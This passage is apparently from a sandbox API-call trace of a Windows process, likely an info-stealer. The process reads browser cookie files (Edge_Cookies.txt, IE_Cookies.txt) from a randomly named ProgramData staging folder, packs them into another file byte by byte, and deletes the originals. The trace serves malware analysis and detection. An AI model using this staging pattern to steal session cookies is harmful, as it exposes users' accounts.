lpOverlapped=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.261] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.262] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.262] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.262] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.262] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.262] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x19, lpOverlapped=0x0) returned 1 [0149.262] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0149.262] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=74, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a [0149.262] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x9) returned 0x236aab0 [0149.263] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x360) returned 0x2363368 [0149.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405d8 | out: hHeap=0x2360000) returned 1 [0149.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23629e8 | out: hHeap=0x2360000) returned 1 [0149.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0149.263] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.263] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies\\edge_cookies.txt")) returned 1 [0149.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ba0 | out: hHeap=0x2360000) returned 1 [0149.264] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba3b4fb, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4ba3b4fb, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4ba3b4fb, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE_Cookies.txt", cAlternateFileName="IE_COO~1.TXT")) returned 1 [0149.264] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies" [0149.264] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\" [0149.264] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\", lpString2="IE_Cookies.txt" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt" [0149.264] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Cookies" | out: lpString1="\\Cookies") returned="\\Cookies" [0149.264] lstrcatW (in: lpString1="\\Cookies", lpString2="\\" | out: lpString1="\\Cookies\\") returned="\\Cookies\\" [0149.264] lstrcatW (in: lpString1="\\Cookies\\", lpString2="IE_Cookies.txt" | out: lpString1="\\Cookies\\IE_Cookies.txt") returned="\\Cookies\\IE_Cookies.txt" [0149.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0149.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x32bb478 [0149.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x32bb478, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt", lpUsedDefaultChar=0x0) returned 70 [0149.264] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23628e0 [0149.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb478 | out: hHeap=0x2360000) returned 1 [0149.264] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0149.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.265] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23668a8 [0149.265] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x23668a8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.265] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668a8 | out: hHeap=0x2360000) returned 1 [0149.265] PathMatchSpecW (pszFile="IE_Cookies.txt", pszSpec="*.*") returned 1 [0149.265] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x3340048 [0149.265] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400e0 [0149.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0149.265] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x32bb888 [0149.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt", cchWideChar=70, lpMultiByteStr=0x32bb888, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt", lpUsedDefaultChar=0x0) returned 70 [0149.265] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e08 [0149.265] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb888 | out: hHeap=0x2360000) returned 1 [0149.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\IE_Cookies.txt", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0149.265] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c60 [0149.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Cookies\\IE_Cookies.txt", cchWideChar=24, lpMultiByteStr=0x3340c60, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Cookies\\IE_Cookies.txt", lpUsedDefaultChar=0x0) returned 24 [0149.266] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403f8 [0149.266] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c60 | out: hHeap=0x2360000) returned 1 [0149.266] GetLastError () returned 0x0 [0149.266] SetLastError (dwErrCode=0x0) [0149.266] GetLastError () returned 0x0 [0149.266] SetLastError (dwErrCode=0x0) [0149.266] GetLastError () returned 0x0 [0149.266] SetLastError (dwErrCode=0x0) [0149.266] GetLastError () returned 0x0 [0149.266] SetLastError (dwErrCode=0x0) [0149.266] GetLastError () returned 0x0 [0149.266] SetLastError (dwErrCode=0x0) [0149.266] GetLastError () returned 0x0 [0149.266] SetLastError (dwErrCode=0x0) [0149.266] GetLastError () returned 0x0 [0149.266] SetLastError (dwErrCode=0x0) [0149.267] GetLastError () returned 0x0 [0149.267] SetLastError (dwErrCode=0x0) [0149.267] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Cookies\\IE_Cookies.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies\\ie_cookies.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0149.267] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4a [0149.267] GetFileInformationByHandle (in: hFile=0x4e8, lpFileInformation=0x19df48 | out: lpFileInformation=0x19df48) returned 1 [0149.267] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0149.267] FileTimeToSystemTime (in: lpFileTime=0x19df08, lpSystemTime=0x19def0 | out: lpSystemTime=0x19def0) returned 1 [0149.267] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.267] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.267] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.268] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.268] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.268] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.268] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.268] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.268] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.269] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.269] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.269] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.269] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.269] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.269] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.269] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.270] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.270] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.270] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.270] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.270] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.270] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.270] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.271] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.271] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.271] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.271] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.271] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.271] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.272] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.272] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.272] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e160*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e160*, lpNumberOfBytesWritten=0x19dfbc*=0x17, lpOverlapped=0x0) returned 1 [0149.272] WriteFile (in: hFile=0x2f8, lpBuffer=0x19e378*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19e378*, lpNumberOfBytesWritten=0x19dfbc*=0x11, lpOverlapped=0x0) returned 1 [0149.272] GetDesktopWindow () returned 0x10010 [0149.272] GetTickCount () returned 0x15b60b6 [0149.272] GetLastError () returned 0x0 [0149.272] SetLastError (dwErrCode=0x0) [0149.272] GetLastError () returned 0x0 [0149.273] SetLastError (dwErrCode=0x0) [0149.273] GetLastError () returned 0x0 [0149.273] SetLastError (dwErrCode=0x0) [0149.273] GetLastError () returned 0x0 [0149.273] SetLastError (dwErrCode=0x0) [0149.273] GetLastError () returned 0x0 [0149.273] SetLastError (dwErrCode=0x0) [0149.273] GetLastError () returned 0x0 [0149.273] SetLastError (dwErrCode=0x0) [0149.273] GetLastError () returned 0x0 [0149.274] SetLastError (dwErrCode=0x0) [0149.274] GetLastError () returned 0x0 [0149.274] SetLastError (dwErrCode=0x0) [0149.274] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] ReadFile (in: hFile=0x4e8, lpBuffer=0x32da998, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x32da998*, lpNumberOfBytesRead=0x19dfa4*=0x0, lpOverlapped=0x0) returned 1 [0149.275] WriteFile (in: hFile=0x2f8, lpBuffer=0x32bba1c*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19df70, lpOverlapped=0x0 | out: lpBuffer=0x32bba1c*, lpNumberOfBytesWritten=0x19df70*=0x2, lpOverlapped=0x0) returned 1 [0149.275] CloseHandle (hObject=0x4e8) returned 1 [0149.275] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=74, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfbc, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfbc*=0x1, lpOverlapped=0x0) returned 1 [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfdf*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfb0, lpOverlapped=0x0 | out: lpBuffer=0x19dfdf*, lpNumberOfBytesWritten=0x19dfb0*=0x1, lpOverlapped=0x0) returned 1 [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19dfa4, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19dfa4*=0x1, lpOverlapped=0x0) returned 1 [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df98, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df98*=0x1, lpOverlapped=0x0) returned 1 [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df8c, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df8c*=0x1, lpOverlapped=0x0) returned 1 [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19df80, lpOverlapped=0x0 | out: lpBuffer=0x19dfe8*, lpNumberOfBytesWritten=0x19df80*=0x1, lpOverlapped=0x0) returned 1 [0149.276] WriteFile (in: hFile=0x2f8, lpBuffer=0x19dfe8*, 